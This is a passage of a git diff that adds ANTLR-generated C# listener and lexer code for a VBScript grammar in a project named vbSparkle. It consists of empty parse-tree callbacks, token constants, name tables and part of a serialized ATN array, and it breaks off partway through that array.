+ /// Enter a parse tree produced by the ltBoolean + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterLtBoolean([NotNull] VBScriptParser.LtBooleanContext context) { } + /// + /// Exit a parse tree produced by the ltBoolean + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitLtBoolean([NotNull] VBScriptParser.LtBooleanContext context) { } + /// + /// Enter a parse tree produced by the ltNothing + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterLtNothing([NotNull] VBScriptParser.LtNothingContext context) { } + /// + /// Exit a parse tree produced by the ltNothing + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitLtNothing([NotNull] VBScriptParser.LtNothingContext context) { } + /// + /// Enter a parse tree produced by the ltNull + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterLtNull([NotNull] VBScriptParser.LtNullContext context) { } + /// + /// Exit a parse tree produced by the ltNull + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitLtNull([NotNull] VBScriptParser.LtNullContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterPublicPrivateVisibility([NotNull] VBScriptParser.PublicPrivateVisibilityContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitPublicPrivateVisibility([NotNull] VBScriptParser.PublicPrivateVisibilityContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterPublicPrivateGlobalVisibility([NotNull] VBScriptParser.PublicPrivateGlobalVisibilityContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitPublicPrivateGlobalVisibility([NotNull] VBScriptParser.PublicPrivateGlobalVisibilityContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterType([NotNull] VBScriptParser.TypeContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitType([NotNull] VBScriptParser.TypeContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterTypeHint([NotNull] VBScriptParser.TypeHintContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitTypeHint([NotNull] VBScriptParser.TypeHintContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterVisibility([NotNull] VBScriptParser.VisibilityContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitVisibility([NotNull] VBScriptParser.VisibilityContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterAmbiguousKeyword([NotNull] VBScriptParser.AmbiguousKeywordContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitAmbiguousKeyword([NotNull] VBScriptParser.AmbiguousKeywordContext context) { } + + /// + /// The default implementation does nothing. + public virtual void EnterEveryRule([NotNull] ParserRuleContext context) { } + /// + /// The default implementation does nothing. + public virtual void ExitEveryRule([NotNull] ParserRuleContext context) { } + /// + /// The default implementation does nothing. + public virtual void VisitTerminal([NotNull] ITerminalNode node) { } + /// + /// The default implementation does nothing. + public virtual void VisitErrorNode([NotNull] IErrorNode node) { } +} diff --git a/Sources/vbSparkle/VBScriptLexer.cs b/Sources/vbSparkle/VBScriptLexer.cs new file mode 100644 index 0000000..e080fe2 --- /dev/null +++ b/Sources/vbSparkle/VBScriptLexer.cs @@ -0,0 +1,997 @@ +//------------------------------------------------------------------------------ +// +// This code was generated by a tool. +// ANTLR Version: 4.13.1 +// +// Changes to this file may cause incorrect behavior and will be lost if +// the code is regenerated. +// +//------------------------------------------------------------------------------ + +// Generated from VBScript.g4 by ANTLR 4.13.1 + +// Unreachable code detected +#pragma warning disable 0162 +// The variable '...' is assigned but its value is never used +#pragma warning disable 0219 +// Missing XML comment for publicly visible type or member '...' +#pragma warning disable 1591 +// Ambiguous reference in cref attribute +#pragma warning disable 419 + +using System; +using System.IO; +using System.Text; +using Antlr4.Runtime; +using Antlr4.Runtime.Atn; +using Antlr4.Runtime.Misc; +using DFA = Antlr4.Runtime.Dfa.DFA; + +[System.CodeDom.Compiler.GeneratedCode("ANTLR", "4.13.1")] +[System.CLSCompliant(false)] +public partial class VBScriptLexer : Lexer { + protected static DFA[] decisionToDFA; + protected static PredictionContextCache sharedContextCache = new PredictionContextCache(); + public const int + ACCESS=1, ADDRESSOF=2, ALIAS=3, AND=4, ATTRIBUTE=5, APPACTIVATE=6, APPEND=7, + AS=8, BEEP=9, BEGIN=10, BEGINPROPERTY=11, BINARY=12, BOOLEAN=13, BYVAL=14, + BYREF=15, BYTE=16, CALL=17, CASE=18, CHDIR=19, CHDRIVE=20, CLASS=21, CLOSE=22, + COLLECTION=23, CONST=24, DATE=25, PTRSAFE=26, DECLARE=27, DEFBOOL=28, + DEFBYTE=29, DEFDATE=30, DEFDBL=31, DEFDEC=32, DEFCUR=33, DEFINT=34, DEFLNG=35, + DEFOBJ=36, DEFSNG=37, DEFSTR=38, DEFVAR=39, DELETESETTING=40, DIM=41, + DO=42, DOUBLE=43, EACH=44, ELSE=45, ELSEIF=46, END_ENUM=47, END_CLASS=48, + END_FUNCTION=49, END_IF=50, END_PROPERTY=51, END_SELECT=52, END_SUB=53, + END_TYPE=54, END_WITH=55, END=56, ENDPROPERTY=57, ENUM=58, EQV=59, ERASE=60, + ERROR=61, EVENT=62, EXIT_DO=63, EXIT_FOR=64, EXIT_FUNCTION=65, EXIT_PROPERTY=66, + EXIT_SUB=67, FALSE=68, FILECOPY=69, FRIEND=70, FOR=71, FUNCTION=72, GET=73, + GLOBAL=74, GOSUB=75, GOTO=76, IF=77, IMP=78, IMPLEMENTS=79, IN=80, INPUT=81, + IS=82, INTEGER=83, KILL=84, LOAD=85, LOCK=86, LONG=87, LOOP=88, LEN=89, + LET=90, LIB=91, LIKE=92, LINE_INPUT=93, LOCK_READ=94, LOCK_WRITE=95, LOCK_READ_WRITE=96, + LSET=97, MACRO_IF=98, MACRO_ELSEIF=99, MACRO_ELSE=100, MACRO_END_IF=101, + ME=102, MID=103, MKDIR=104, MOD=105, NAME=106, NEXT=107, NEW=108, NOT=109, + NOTHING=110, NULL=111, OBJECT=112, ON=113, ON_ERROR=114, ON_LOCAL_ERROR=115, + OPEN=116, OPTIONAL=117, OPTION_BASE=118, OPTION_EXPLICIT=119, OPTION_COMPARE=120, + OPTION_PRIVATE_MODULE=121, OR=122, OUTPUT=123, PARAMARRAY=124, PRESERVE=125, + PRINT=126, PRIVATE=127, PROPERTY_GET=128, PROPERTY_LET=129, PROPERTY_SET=130, + PUBLIC=131, PUT=132, RANDOM=133, RANDOMIZE=134, RAISEEVENT=135, READ=136, + READ_WRITE=137, REDIM=138, REM=139, RESET=140, RESUME=141, RETURN=142, + RMDIR=143, RSET=144, SAVEPICTURE=145, SAVESETTING=146, SEEK=147, SELECT=148, + SENDKEYS=149, SET=150, SETATTR=151, SHARED=152, SINGLE=153, SPC=154, STATIC=155, + DEFAULT=156, STEP=157, STOP=158, STRING=159, SUB=160, TAB=161, TEXT=162, + THEN=163, TIME=164, TO=165, TRUE=166, TYPE=167, TYPEOF=168, UNLOAD=169, + UNLOCK=170, UNTIL=171, VARIANT=172, VERSION=173, WEND=174, WHILE=175, + WIDTH=176, WITH=177, WITHEVENTS=178, WRITE=179, XOR=180, AMPERSAND=181, + ASSIGN=182, AT=183, COMMA=184, DIV=185, DOLLAR=186, DOT=187, EQ=188, EXCLAMATIONMARK=189, + GEQ=190, GT=191, HASH=192, LEQ=193, LBRACE=194, LPAREN=195, LT=196, MINUS=197, + MINUS_EQ=198, MULT=199, NEQ=200, PERCENT=201, PLUS=202, PLUS_EQ=203, POW=204, + RBRACE=205, RPAREN=206, SEMICOLON=207, L_SQUARE_BRACKET=208, R_SQUARE_BRACKET=209, + STRINGLITERAL=210, DATELITERAL=211, HEXLITERAL=212, INTEGERLITERAL=213, + DOUBLELITERAL=214, FILENUMBER=215, OCTALLITERAL=216, GUID=217, IDENTIFIER=218, + NEWLINE=219, INLINE_SEP=220, INLN=221, COMMENT=222, WS=223, LINE_CONTINUATION=224; + public static string[] channelNames = { + "DEFAULT_TOKEN_CHANNEL", "HIDDEN" + }; + + public static string[] modeNames = { + "DEFAULT_MODE" + }; + + public static readonly string[] ruleNames = { + "ACCESS", "ADDRESSOF", "ALIAS", "AND", "ATTRIBUTE", "APPACTIVATE", "APPEND", + "AS", "BEEP", "BEGIN", "BEGINPROPERTY", "BINARY", "BOOLEAN", "BYVAL", + "BYREF", "BYTE", "CALL", "CASE", "CHDIR", "CHDRIVE", "CLASS", "CLOSE", + "COLLECTION", "CONST", "DATE", "PTRSAFE", "DECLARE", "DEFBOOL", "DEFBYTE", + "DEFDATE", "DEFDBL", "DEFDEC", "DEFCUR", "DEFINT", "DEFLNG", "DEFOBJ", + "DEFSNG", "DEFSTR", "DEFVAR", "DELETESETTING", "DIM", "DO", "DOUBLE", + "EACH", "ELSE", "ELSEIF", "END_ENUM", "END_CLASS", "END_FUNCTION", "END_IF", + "END_PROPERTY", "END_SELECT", "END_SUB", "END_TYPE", "END_WITH", "END", + "ENDPROPERTY", "ENUM", "EQV", "ERASE", "ERROR", "EVENT", "EXIT_DO", "EXIT_FOR", + "EXIT_FUNCTION", "EXIT_PROPERTY", "EXIT_SUB", "FALSE", "FILECOPY", "FRIEND", + "FOR", "FUNCTION", "GET", "GLOBAL", "GOSUB", "GOTO", "IF", "IMP", "IMPLEMENTS", + "IN", "INPUT", "IS", "INTEGER", "KILL", "LOAD", "LOCK", "LONG", "LOOP", + "LEN", "LET", "LIB", "LIKE", "LINE_INPUT", "LOCK_READ", "LOCK_WRITE", + "LOCK_READ_WRITE", "LSET", "MACRO_IF", "MACRO_ELSEIF", "MACRO_ELSE", "MACRO_END_IF", + "ME", "MID", "MKDIR", "MOD", "NAME", "NEXT", "NEW", "NOT", "NOTHING", + "NULL", "OBJECT", "ON", "ON_ERROR", "ON_LOCAL_ERROR", "OPEN", "OPTIONAL", + "OPTION_BASE", "OPTION_EXPLICIT", "OPTION_COMPARE", "OPTION_PRIVATE_MODULE", + "OR", "OUTPUT", "PARAMARRAY", "PRESERVE", "PRINT", "PRIVATE", "PROPERTY_GET", + "PROPERTY_LET", "PROPERTY_SET", "PUBLIC", "PUT", "RANDOM", "RANDOMIZE", + "RAISEEVENT", "READ", "READ_WRITE", "REDIM", "REM", "RESET", "RESUME", + "RETURN", "RMDIR", "RSET", "SAVEPICTURE", "SAVESETTING", "SEEK", "SELECT", + "SENDKEYS", "SET", "SETATTR", "SHARED", "SINGLE", "SPC", "STATIC", "DEFAULT", + "STEP", "STOP", "STRING", "SUB", "TAB", "TEXT", "THEN", "TIME", "TO", + "TRUE", "TYPE", "TYPEOF", "UNLOAD", "UNLOCK", "UNTIL", "VARIANT", "VERSION", + "WEND", "WHILE", "WIDTH", "WITH", "WITHEVENTS", "WRITE", "XOR", "AMPERSAND", + "ASSIGN", "AT", "COMMA", "DIV", "DOLLAR", "DOT", "EQ", "EXCLAMATIONMARK", + "GEQ", "GT", "HASH", "LEQ", "LBRACE", "LPAREN", "LT", "MINUS", "MINUS_EQ", + "MULT", "NEQ", "PERCENT", "PLUS", "PLUS_EQ", "POW", "RBRACE", "RPAREN", + "SEMICOLON", "L_SQUARE_BRACKET", "R_SQUARE_BRACKET", "STRINGLITERAL", + "DATELITERAL", "HEXLITERAL", "INTEGERLITERAL", "DOUBLELITERAL", "FILENUMBER", + "OCTALLITERAL", "GUID", "IDENTIFIER", "NEWLINE", "INLINE_SEP", "INLN", + "COMMENT", "WS", "LINE_CONTINUATION", "NL", "LETTER", "LETTERORDIGIT", + "A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", + "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z" + }; + + + public VBScriptLexer(ICharStream input) + : this(input, Console.Out, Console.Error) { } + + public VBScriptLexer(ICharStream input, TextWriter output, TextWriter errorOutput) + : base(input, output, errorOutput) + { + Interpreter = new LexerATNSimulator(this, _ATN, decisionToDFA, sharedContextCache); + } + + private static readonly string[] _LiteralNames = { + null, null, null, null, null, null, null, null, null, null, null, null, + null, null, null, null, null, null, null, null, null, null, null, null, + null, null, null, null, null, null, null, null, null, null, null, null, + null, null, null, null, null, null, null, null, null, null, null, null, + null, null, null, null, null, null, null, null, null, null, null, null, + null, null, null, null, null, null, null, null, null, null, null, null, + null, null, null, null, null, null, null, null, null, null, null, null, + null, null, null, null, null, null, null, null, null, null, null, null, + null, null, null, null, null, null, null, null, null, null, null, null, + null, null, null, null, null, null, null, null, null, null, null, null, + null, null, null, null, null, null, null, null, null, null, null, null, + null, null, null, null, null, null, null, null, null, null, null, null, + null, null, null, null, null, null, null, null, null, null, null, null, + null, null, null, null, null, null, null, null, null, null, null, null, + null, null, null, null, null, null, null, null, null, null, null, null, + null, "'&'", "':='", "'@'", "','", null, "'$'", "'.'", "'='", "'!'", "'>='", + "'>'", "'#'", "'<='", "'{'", "'('", "'<'", "'-'", "'-='", "'*'", "'<>'", + "'%'", "'+'", "'+='", "'^'", "'}'", "')'", "';'", "'['", "']'", null, + null, null, null, null, null, null, null, null, null, null, "':'" + }; + private static readonly string[] _SymbolicNames = { + null, "ACCESS", "ADDRESSOF", "ALIAS", "AND", "ATTRIBUTE", "APPACTIVATE", + "APPEND", "AS", "BEEP", "BEGIN", "BEGINPROPERTY", "BINARY", "BOOLEAN", + "BYVAL", "BYREF", "BYTE", "CALL", "CASE", "CHDIR", "CHDRIVE", "CLASS", + "CLOSE", "COLLECTION", "CONST", "DATE", "PTRSAFE", "DECLARE", "DEFBOOL", + "DEFBYTE", "DEFDATE", "DEFDBL", "DEFDEC", "DEFCUR", "DEFINT", "DEFLNG", + "DEFOBJ", "DEFSNG", "DEFSTR", "DEFVAR", "DELETESETTING", "DIM", "DO", + "DOUBLE", "EACH", "ELSE", "ELSEIF", "END_ENUM", "END_CLASS", "END_FUNCTION", + "END_IF", "END_PROPERTY", "END_SELECT", "END_SUB", "END_TYPE", "END_WITH", + "END", "ENDPROPERTY", "ENUM", "EQV", "ERASE", "ERROR", "EVENT", "EXIT_DO", + "EXIT_FOR", "EXIT_FUNCTION", "EXIT_PROPERTY", "EXIT_SUB", "FALSE", "FILECOPY", + "FRIEND", "FOR", "FUNCTION", "GET", "GLOBAL", "GOSUB", "GOTO", "IF", "IMP", + "IMPLEMENTS", "IN", "INPUT", "IS", "INTEGER", "KILL", "LOAD", "LOCK", + "LONG", "LOOP", "LEN", "LET", "LIB", "LIKE", "LINE_INPUT", "LOCK_READ", + "LOCK_WRITE", "LOCK_READ_WRITE", "LSET", "MACRO_IF", "MACRO_ELSEIF", "MACRO_ELSE", + "MACRO_END_IF", "ME", "MID", "MKDIR", "MOD", "NAME", "NEXT", "NEW", "NOT", + "NOTHING", "NULL", "OBJECT", "ON", "ON_ERROR", "ON_LOCAL_ERROR", "OPEN", + "OPTIONAL", "OPTION_BASE", "OPTION_EXPLICIT", "OPTION_COMPARE", "OPTION_PRIVATE_MODULE", + "OR", "OUTPUT", "PARAMARRAY", "PRESERVE", "PRINT", "PRIVATE", "PROPERTY_GET", + "PROPERTY_LET", "PROPERTY_SET", "PUBLIC", "PUT", "RANDOM", "RANDOMIZE", + "RAISEEVENT", "READ", "READ_WRITE", "REDIM", "REM", "RESET", "RESUME", + "RETURN", "RMDIR", "RSET", "SAVEPICTURE", "SAVESETTING", "SEEK", "SELECT", + "SENDKEYS", "SET", "SETATTR", "SHARED", "SINGLE", "SPC", "STATIC", "DEFAULT", + "STEP", "STOP", "STRING", "SUB", "TAB", "TEXT", "THEN", "TIME", "TO", + "TRUE", "TYPE", "TYPEOF", "UNLOAD", "UNLOCK", "UNTIL", "VARIANT", "VERSION", + "WEND", "WHILE", "WIDTH", "WITH", "WITHEVENTS", "WRITE", "XOR", "AMPERSAND", + "ASSIGN", "AT", "COMMA", "DIV", "DOLLAR", "DOT", "EQ", "EXCLAMATIONMARK", + "GEQ", "GT", "HASH", "LEQ", "LBRACE", "LPAREN", "LT", "MINUS", "MINUS_EQ", + "MULT", "NEQ", "PERCENT", "PLUS", "PLUS_EQ", "POW", "RBRACE", "RPAREN", + "SEMICOLON", "L_SQUARE_BRACKET", "R_SQUARE_BRACKET", "STRINGLITERAL", + "DATELITERAL", "HEXLITERAL", "INTEGERLITERAL", "DOUBLELITERAL", "FILENUMBER", + "OCTALLITERAL", "GUID", "IDENTIFIER", "NEWLINE", "INLINE_SEP", "INLN", + "COMMENT", "WS", "LINE_CONTINUATION" + }; + public static readonly IVocabulary DefaultVocabulary = new Vocabulary(_LiteralNames, _SymbolicNames); + + [NotNull] + public override IVocabulary Vocabulary + { + get + { + return DefaultVocabulary; + } + } + + public override string GrammarFileName { get { return "VBScript.g4"; } } + + public override string[] RuleNames { get { return ruleNames; } } + + public override string[] ChannelNames { get { return channelNames; } } + + public override string[] ModeNames { get { return modeNames; } } + + public override int[] SerializedAtn { get { return _serializedATN; } } + + static VBScriptLexer() { + decisionToDFA = new DFA[_ATN.NumberOfDecisions]; + for (int i = 0; i < _ATN.NumberOfDecisions; i++) { + decisionToDFA[i] = new DFA(_ATN.GetDecisionState(i), i); + } + } + private static int[] _serializedATN = { + 4,0,224,2127,6,-1,2,0,7,0,2,1,7,1,2,2,7,2,2,3,7,3,2,4,7,4,2,5,7,5,2,6, + 7,6,2,7,7,7,2,8,7,8,2,9,7,9,2,10,7,10,2,11,7,11,2,12,7,12,2,13,7,13,2, + 14,7,14,2,15,7,15,2,16,7,16,2,17,7,17,2,18,7,18,2,19,7,19,2,20,7,20,2, + 21,7,21,2,22,7,22,2,23,7,23,2,24,7,24,2,25,7,25,2,26,7,26,2,27,7,27,2, + 28,7,28,2,29,7,29,2,30,7,30,2,31,7,31,2,32,7,32,2,33,7,33,2,34,7,34,2, + 35,7,35,2,36,7,36,2,37,7,37,2,38,7,38,2,39,7,39,2,40,7,40,2,41,7,41,2, + 42,7,42,2,43,7,43,2,44,7,44,2,45,7,45,2,46,7,46,2,47,7,47,2,48,7,48,2, + 49,7,49,2,50,7,50,2,51,7,51,2,52,7,52,2,53,7,53,2,54,7,54,2,55,7,55,2, + 56,7,56,2,57,7,57,2,58,7,58,2,59,7,59,2,60,7,60,2,61,7,61,2,62,7,62,2, + 63,7,63,2,64,7,64,2,65,7,65,2,66,7,66,2,67,7,67,2,68,7,68,2,69,7,69,2, + 70,7,70,2,71,7,71,2,72,7,72,2,73,7,73,2,74,7,74,2,75,7,75,2,76,7,76,2, + 77,7,77,2,78,7,78,2,79,7,79,2,80,7,80,2,81,7,81,2,82,7,82,2,83,7,83,2, + 84,7,84,2,85,7,85,2,86,7,86,2,87,7,87,2,88,7,88,2,89,7,89,2,90,7,90,2, + 91,7,91,2,92,7,92,2,93,7,93,2,94,7,94,2,95,7,95,2,96,7,96,2,97,7,97,2, + 98,7,98,2,99,7,99,2,100,7,100,2,101,7,101,2,102,7,102,2,103,7,103,2,104, + 7,104,2,105,7,105,2,106,7,106,2,107,7,107,2,108,7,108,2,109,7,109,2,110, + 7,110,2,111,7,111,2,112,7,112,2,113,7,113,2,114,7,114,2,115,7,115,2,116, + 7,116,2,117,7,117,2,118,7,118,2,119,7,119,2,120,7,120,2,121,7,121,2,122, + 7,122,2,123,7,123,2,124,7,124,2,125,7,125,2,126,7,126,2,127,7,127,2,128, + 7,128,2,129,7,129,2,130,7,130,2,131,7,131,2,132,7,132,2,133,7,133,2,134, + 7,134,2,135,7,135,2,136,7,136,2,137,7,137,2,138,7,138,2,139,7,139,2,140, + 7,140,2,141,7,141,2,142,7,142,2,143,7,143,2,144,7,144,2,145,7,145,2,146, + 7,146,2,147,7,147,2,148,7,148,2,149,7,149,2,150,7,150,2,151,7,151,2,152, + 7,152,2,153,7,153,2,154,7,154,2,155,7,155,2,156,7,156,2,157,7,157,2,158, + 7,158,2,159,7,159,2,160,7,160,2,161,7,161,2,162,7,162,2,163,7,163,2,164, + 7,164,2,165,7,165,2,166,7,166,2,167,7,167,2,168,7,168,2,169,7,169,2,170, + 7,170,2,171,7,171,2,172,7,172,2,173,7,173,2,174,7,174,2,175,7,175,2,176, + 7,176,2,177,7,177,2,178,7,178,2,179,7,179,2,180,7,180,2,181,7,181,2,182, + 7,182,2,183,7,183,2,184,7,184,2,185,7,185,2,186,7,186,2,187,7,187,2,188, + 7,188,2,189,7,189,2,190,7,190,2,191,7,191,2,192,7,192,2,193,7,193,2,194, + 7,194,2,195,7,195,2,196,7,196,2,197,7,197,2,198,7,198,2,199,7,199,2,200, + 7,200,2,201,7,201,2,202,7,202,2,203,7,203,2,204,7,204,2,205,7,205,2,206, + 7,206,2,207,7,207,2,208,7,208,2,209,7,209,2,210,7,210,2,211,7,211,2,212, + 7,212,2,213,7,213,2,214,7,214,2,215,7,215,2,216,7,216,2,217,7,217,2,218, + 7,218,2,219,7,219,2,220,7,220,2,221,7,221,2,222,7,222,2,223,7,223,2,224, + 7,224,2,225,7,225,2,226,7,226,2,227,7,227,2,228,7,228,2,229,7,229,2,230, + 7,230,2,231,7,231,2,232,7,232,2,233,7,233,2,234,7,234,2,235,7,235,2,236, + 7,236,2,237,7,237,2,238,7,238,2,239,7,239,2,240,7,240,2,241,7,241,2,242, + 7,242,2,243,7,243,2,244,7,244,2,245,7,245,2,246,7,246,2,247,7,247,2,248, + 7,248,2,249,7,249,2,250,7,250,2,251,7,251,2,252,7,252,1,0,1,0,1,0,1,0, + 1,0,1,0,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,2,1,2,1,2,1,2,1, + 2,1,2,1,3,1,3,1,3,1,3,1,4,1,4,1,4,1,4,1,4,1,4,1,4,1,4,1,4,1,4,1,5,1,5, + 1,5,1,5,1,5,1,5,1,5,1,5,1,5,1,5,1,5,1,5,1,6,1,6,1,6,1,6,1,6,1,6,1,6,1, + 7,1,7,1,7,1,8,1,8,1,8,1,8,1,8,1,9,1,9,1,9,1,9,1,9,1,9,1,10,1,10,1,10,1, + 10,1,10,1,10,1,10,1,10,1,10,1,10,1,10,1,10,1,10,1,10,1,11,1,11,1,11,1, + 11,1,11,1,11,1,11,1,12,1,12,1,12,1,12,1,12,1,12,1,12,1,12,1,13,1,13,1, + 13,1,13,1,13,1,13,1,14,1,14,1,14,1,14,1,14,1,14,1,15,1,15,1,15,1,15,1, + 15,1,16,1,16,1,16,1,16,1,16,1,17,1,17,1,17,1,17,1,17,1,18,1,18,1,18,1, + 18,1,18,1,18,1,19,1,19,1,19,1,19,1,19,1,19,1,19,1,19,1,20,1,20,1,20,1, + 20,1,20,1,20,1,21,1,21,1,21,1,21,1,21,1,21,1,22,1,22,1,22,1,22,1,22,1, + 22,1,22,1,22,1,22,1,22,1,22,1,23,1,23,1,23,1,23,1,23,1,23,1,24,1,24,1, + 24,1,24,1,24,1,25,1,25,1,25,1,25,1,25,1,25,1,25,1,25,1,26,1,26,1,26,1, + 26,1,26,1,26,1,26,1,26,1,27,1,27,1,27,1,27,1,27,1,27,1,27,1,27,1,28,1, + 28,1,28,1,28,1,28,1,28,1,28,1,28,1,29,1,29,1,29,1,29,1,29,1,29,1,29,1, + 29,1,30,1,30,1,30,1,30,1,30,1,30,1,30,1,31,1,31,1,31,1,31,1,31,1,31,1, + 31,1,32,1,32,1,32,1,32,1,32,1,32,1,32,1,33,1,33,1,33,1,33,1,33,1,33,1, + 33,1,34,1,34,1,34,1,34,1,34,1,34,1,34,1,35,1,35,1,35,1,35,1,35,1,35,1, + 35,1,36,1,36,1,36,1,36,1,36,1,36,1,36,1,37,1,37,1,37,1,37,1,37,1,37,1, + 37,1,38,1,38,1,38,1,38,1,38,1,38,1,38,1,39,1,39,1,39,1,39,1,39,1,39,1, + 39,1,39,1,39,1,39,1,39,1,39,1,39,1,39,1,40,1,40,1,40,1,40,1,41,1,41,1, + 41,1,42,1,42,1,42,1,42,1,42,1,42,1,42,1,43,1,43,1,43,1,43,1,43,1,44,1, + 44,1,44,1,44,1,44,1,45,1,45,1,45,1,45,1,45,1,45,1,45,1,46,1,46,1,46,1, + 46,1,46,1,46,1,46,1,46,1,46,1,47,1,47,1,47,1,47,1,47,1,47,1,47,1,47,1, + 47,1,47,1,48,1,48,1,48,1,48,1,48,1,48,1,48,1,48,1,48,1,48,1,48,1,48,1, + 48,1,49,1,49,1,49,1,49,1,49,1,49,1,49,1,50,1,50,1,50,1,50,1,50,1,50,1, + 50,1,50,1,50,1,50,1,50,1,50,1,50,1,51,1,51,1,51,1,51,1,51,1,51,1,51,1, + 51,1,51,1,51,1,51,1,52,1,52,1,52,1,52,1,52,1,52,1,52,1,52,1,53,1,53,1, + 53,1,53,1,53,1,53,1,53,1,53,1,53,1,54,1,54,1,54,1,54,1,54,1,54,1,54,1, + 54,1,54,1,55,1,55,1,55,1,55,1,56,1,56,1,56,1,56,1,56,1,56,1,56,1,56,1, + 56,1,56,1,56,1,56,1,57,1,57,1,57,1,57,1,57,1,58,1,58,1,58,1,58,1,59,1, + 59,1,59,1,59,1,59,1,59,1,60,1,60,1,60,1,60,1,60,1,60,1,61,1,61,1,61,1, + 61,1,61,1,61,1,62,1,62,1,62,1,62,1,62,1,62,1,62,1,62,1,63,1,63,1,63,1, + 63,1,63,1,63,1,63,1,63,1,63,1,64,1,64,1,64,1,64,1,64,1,64,1,64,1,64,1, + 64,1,64,1,64,1,64,1,64,1,64,1,65,1,65,1,65,1,65,1,65,1,65,1,65,1,65,1, + 65,1,65,1,65,1,65,1,65,1,65,1,66,1,66,1,66,1,66,1,66,1,66,1,66,1,66,1, + 66,1,67,1,67,1,67,1,67,1,67,1,67,1,68,1,68,1,68,1,68,1,68,1,68,1,68,1, + 68,1,68,1,69,1,69,1,69,1,69,1,69,1,69,1,69,1,70,1,70,1,70,1,70,1,71,1, + 71,1,71,1,71,1,71,1,71,1,71,1,71,1,71,1,72,1,72,1,72,1,72,1,73,1,73,1, + 73,1,73,1,73,1,73,1,73,1,74,1,74,1,74,1,74,1,74,1,74,1,75,1,75,1,75,1, + 75,1,75,1,76,1,76,1,76,1,77,1,77,1,77,1,77,1,78,1,78,1,78,1,78,1,78,1, + 78,1,78,1,78,1,78,1,78,1,78,1,79,1,79,1,79,1,80,1,80,1,80,1,80,1,80,1, + 80,1,81,1,81,1,81,1,82,1,82,1,82,1,82,1,82,1,82,1,82,1,82,1,83,1,83,1, + 83,1,83,1,83,1,84,1,84,1,84,1,84,1,84,1,85,1,85,1,85,1,85,1,85,1,86,1, + 86,1,86,1,86,1,86,1,87,1,87,1,87,1,87,1,87,1,88,1,88,1,88,1,88,1,89,1, + 89,1,89,1,89,1,90,1,90,1,90,1,90,1,91,1,91,1,91,1,91,1,91,1,92,1,92,1, + 92,1,92,1,92,1,92,1,92,1,92,1,92,1,92,1,92,1,93,1,93,1,93,1,93,1,93,1, + 93,1,93,1,93,1,93,1,93,1,94,1,94,1,94,1,94,1,94,1,94,1,94,1,94,1,94,1, + 94,1,94,1,95,1,95,1,95,1,95,1,95,1,95,1,95,1,95,1,95,1,95,1,95,1,95,1, + 95,1,95,1,95,1,95,1,96,1,96,1,96,1,96,1,96,1,97,1,97,1,97,1,97,1,98,1, + 98,1,98,1,98,1,98,1,98,1,98,1,98,1,99,1,99,1,99,1,99,1,99,1,99,1,100,1, + 100,1,100,1,100,1,100,1,100,1,100,1,100,1,101,1,101,1,101,1,102,1,102, + 1,102,1,102,1,103,1,103,1,103,1,103,1,103,1,103,1,104,1,104,1,104,1,104, + 1,105,1,105,1,105,1,105,1,105,1,106,1,106,1,106,1,106,1,106,1,107,1,107, + 1,107,1,107,1,108,1,108,1,108,1,108,1,109,1,109,1,109,1,109,1,109,1,109, + 1,109,1,109,1,110,1,110,1,110,1,110,1,110,1,111,1,111,1,111,1,111,1,111, + 1,111,1,111,1,112,1,112,1,112,1,113,1,113,1,113,1,113,1,113,1,113,1,113, + 1,113,1,113,1,114,1,114,1,114,1,114,1,114,1,114,1,114,1,114,1,114,1,114, + 1,114,1,114,1,114,1,114,1,114,1,115,1,115,1,115,1,115,1,115,1,116,1,116, + 1,116,1,116,1,116,1,116,1,116,1,116,1,116,1,117,1,117,1,117,1,117,1,117, + 1,117,1,117,1,117,1,117,1,117,1,117,1,117,1,118,1,118,1,118,1,118,1,118, + 1,118,1,118,1,118,1,118,1,118,1,118,1,118,1,118,1,118,1,118,1,118,1,119, + 1,119,1,119,1,119,1,119,1,119,1,119,1,119,1,119,1,119,1,119,1,119,1,119, + 1,119,1,119,1,120,1,120,1,120,1,120,1,120,1,120,1,120,1,120,1,120,1,120, + 1,120,1,120,1,120,1,120,1,120,1,120,1,120,1,120,1,120,1,120,1,120,1,120, + 1,121,1,121,1,121,1,122,1,122,1,122,1,122,1,122,1,122,1,122,1,123,1,123, + 1,123,1,123,1,123,1,123,1,123,1,123,1,123,1,123,1,123,1,124,1,124,1,124, + 1,124,1,124,1,124,1,124,1,124,1,124,1,125,1,125,1,125,1,125,1,125,1,125, + 1,126,1,126,1,126,1,126,1,126,1,126,1,126,1,126,1,127,1,127,1,127,1,127, + 1,127,1,127,1,127,1,127,1,127,1,127,1,127,1,127,1,127,1,128,1,128,1,128, + 